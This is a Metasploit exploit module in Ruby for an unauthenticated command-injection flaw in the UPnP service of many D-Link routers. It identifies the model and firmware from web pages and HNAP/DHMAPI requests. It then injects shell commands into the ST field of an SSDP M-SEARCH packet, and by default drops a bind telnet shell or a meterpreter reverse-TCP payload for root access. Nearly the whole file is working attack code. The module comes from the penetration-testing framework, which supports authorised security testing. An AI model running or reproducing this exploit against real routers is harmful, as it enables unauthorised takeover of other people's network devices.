## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Udp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.', 'Description' => %q{ A command injection vulnerability exists in multiple D-Link network products, allowing an attacker to inject arbitrary command to the UPnP via a crafted M-SEARCH packet. Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900. An attacker can perform a remote command execution by injecting the payload into the `Search Target` (ST) field of the SSDP M-SEARCH discover packet. After successful exploitation, an attacker will have full access with `root` user privileges. NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo. The following D-Link network products and firmware are vulnerable: - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older; - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older; - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older; - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older; - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older; - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older; - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older; - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older; - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older; - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older; - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older; - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older; - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older; - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older; - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older; - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older; - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older; - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older; - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older; - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older; - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older; - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older; - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older; - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older; - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older; - probably more looking at the scale of impacted devices :-( }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y ', # MSF module contributor 'Zach Cutlip', # Discovery of the vulnerability 'Michael Messner ', 'Miguel Mendez Z. (s1kr10s)', 'Pablo Pollanco (secenv)', 'Naihsin https://github.com/naihsin' ], 'References' => [ ['CVE', '2023-33625'], ['CVE', '2020-15893'], ['CVE', '2019-20215'], ['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'], ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], ['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'], ['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'], ['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'], ['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md'] ], 'DisclosureDate' => '2013-02-01', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['echo', 'wget'], 'Linemax' => 900, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 1900, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']), OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80]) ]) end def vuln_version?(res) # checks the model, firmware and hardware version @d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil } html = Nokogiri.HTML(res.body, nil, 'UTF-8') # USE CASE #1: D-link devices with static HTML pages with model and version information # class identifiers: , and # See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version product = html.css('span[@class="product"]') @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? firmware = html.css('span[@class="version"]') @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? # DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version @d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil? # otherwise search for the "hwversion" class tag hardware = html.css('span[@class="hwversion"]') @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? # USE CASE #2: D-link devices with static HTML pages with model and version information # class identifiers:
,
and
if @d_link['product'].nil? product = html.css('div[@class="pp"]') @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? firmware = html.css('div[@class="fwv"]') @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? hardware = html.css('div[@class="hwv"]') @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? end # USE CASE #3: D-link devices with html below for model, firmware and hardware version # Product Page : DIR-300    # Hardware Version : rev N/A  # Firmware Version : 1.06  if @d_link['product'].nil? hwinfo_table = html.css('td') hwinfo_table.each do |hwinfo| @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i end end # USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version # # # # # # # #
  : DIR-835: A1  : 1.04 
if @d_link['product'].nil? hwinfo_table = html.css('table#header_container td') hwinfo_table.each do |hwinfo| @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i end end # USE CASE #5: D-Link devices with dynamically generated version and hardware information # Create HNAP POST request to get these hardware details if @d_link['product'].nil? xml_soap_data = <<~EOS EOS res = send_request_cgi({ 'rport' => datastore['HTTP_PORT'], 'method' => 'POST', 'ctype' => 'text/xml', 'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'), 'data' => xml_soap_data.to_s, 'headers' => { 'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"' } }) if res && res.code == 200 && res.body.include?('OK') xml = res.get_xml_document unless xml.blank? xml.remove_namespaces! @d_link['product'] = xml.css('ModelName').text @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') @d_link['hardware'] = xml.css('HardwareVersion').text end end end # USE CASE #6: D-Link devices with dynamically generated version and hardware information # Create a DHMAPI POST request to get these hardware details if @d_link['product'].nil? xml_soap_data = <<~EOS EOS res = send_request_cgi({ 'rport' => datastore['HTTP_PORT'], 'method' => 'POST', 'ctype' => 'text/xml', 'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'), 'data' => xml_soap_data.to_s, 'headers' => { 'API-ACTION' => 'GetDeviceSettings' } }) if res && res.code == 200 && res.body.include?('OK') xml = res.get_xml_document unless xml.blank? xml.remove_namespaces! @d_link['product'] = xml.css('ModelName').text @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') @d_link['hardware'] = xml.css('HardwareVersion').text end end end # check the vulnerable product and firmware versions case @d_link['product'] when 'GO-RT-AC750' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A' when 'DIR-300' if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B @d_link['arch'] = 'mipsle' return true elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A @d_link['arch'] = 'mipsbe' return true end when 'DIR-600' @d_link['arch'] = 'mipsle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B' when 'DIR-645' @d_link['arch'] = 'mipsle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') when 'DIR-815' @d_link['arch'] = 'mipsle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') when 'DIR-816L' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A') when 'DIR-817LW' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') when 'DIR-818LW', 'DIR-818L' @d_link['arch'] = 'mipsbe' return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A' when 'DIR-822' @d_link['arch'] = 'mipsbe' return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C' when 'DIR-823' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A' when 'DIR-845L' @d_link['arch'] = 'mipsle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') when 'DIR-850L' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') when 'DIR-859' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A' when 'DIR-860L' @d_link['arch'] = 'armle' return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' when 'DIR-865L' @d_link['arch'] = 'mipsle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A' when 'DIR-868L' @d_link['arch'] = 'armle' return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B' when 'DIR-869' @d_link['arch'] = 'mipsbe' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A' when 'DIR-880L' @d_link['arch'] = 'armle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A' when 'DIR-890L', 'DIR-890R' @d_link['arch'] = 'armle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A' when 'DIR-885L', 'DIR-885R' @d_link['arch'] = 'armle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' when 'DIR-895L', 'DIR-895R' @d_link['arch'] = 'armle' return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' end false end def execute_command(cmd, _opts = {}) payload = "#{datastore['URN']};`#{cmd}`" connect_udp header = "M-SEARCH * HTTP/1.1\r\n" header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n" header << "ST:#{payload}\r\n" header << "MX:2\r\n" header << "MAN:\"ssdp:discover\"\r\n\r\n" udp_sock.put(header) disconnect_udp end def check print_status("Checking if #{peer} can be exploited.") res = send_request_cgi!({ 'rport' => datastore['HTTP_PORT'], 'method' => 'GET', 'ctype' => 'application/x-www-form-urlencoded', 'uri' => normalize_uri(target_uri.path) }) # Check if target is a D-Link network device return CheckCode::Unknown('No response received from target.') unless res return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i # check if firmware version is vulnerable return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res) # D-link devices with fixed firmware versions return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil? # D-link devices that still could be vulnerable with product information return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil? # D-link devices that still could be vulnerable but no product information available return CheckCode::Detected end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # Don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end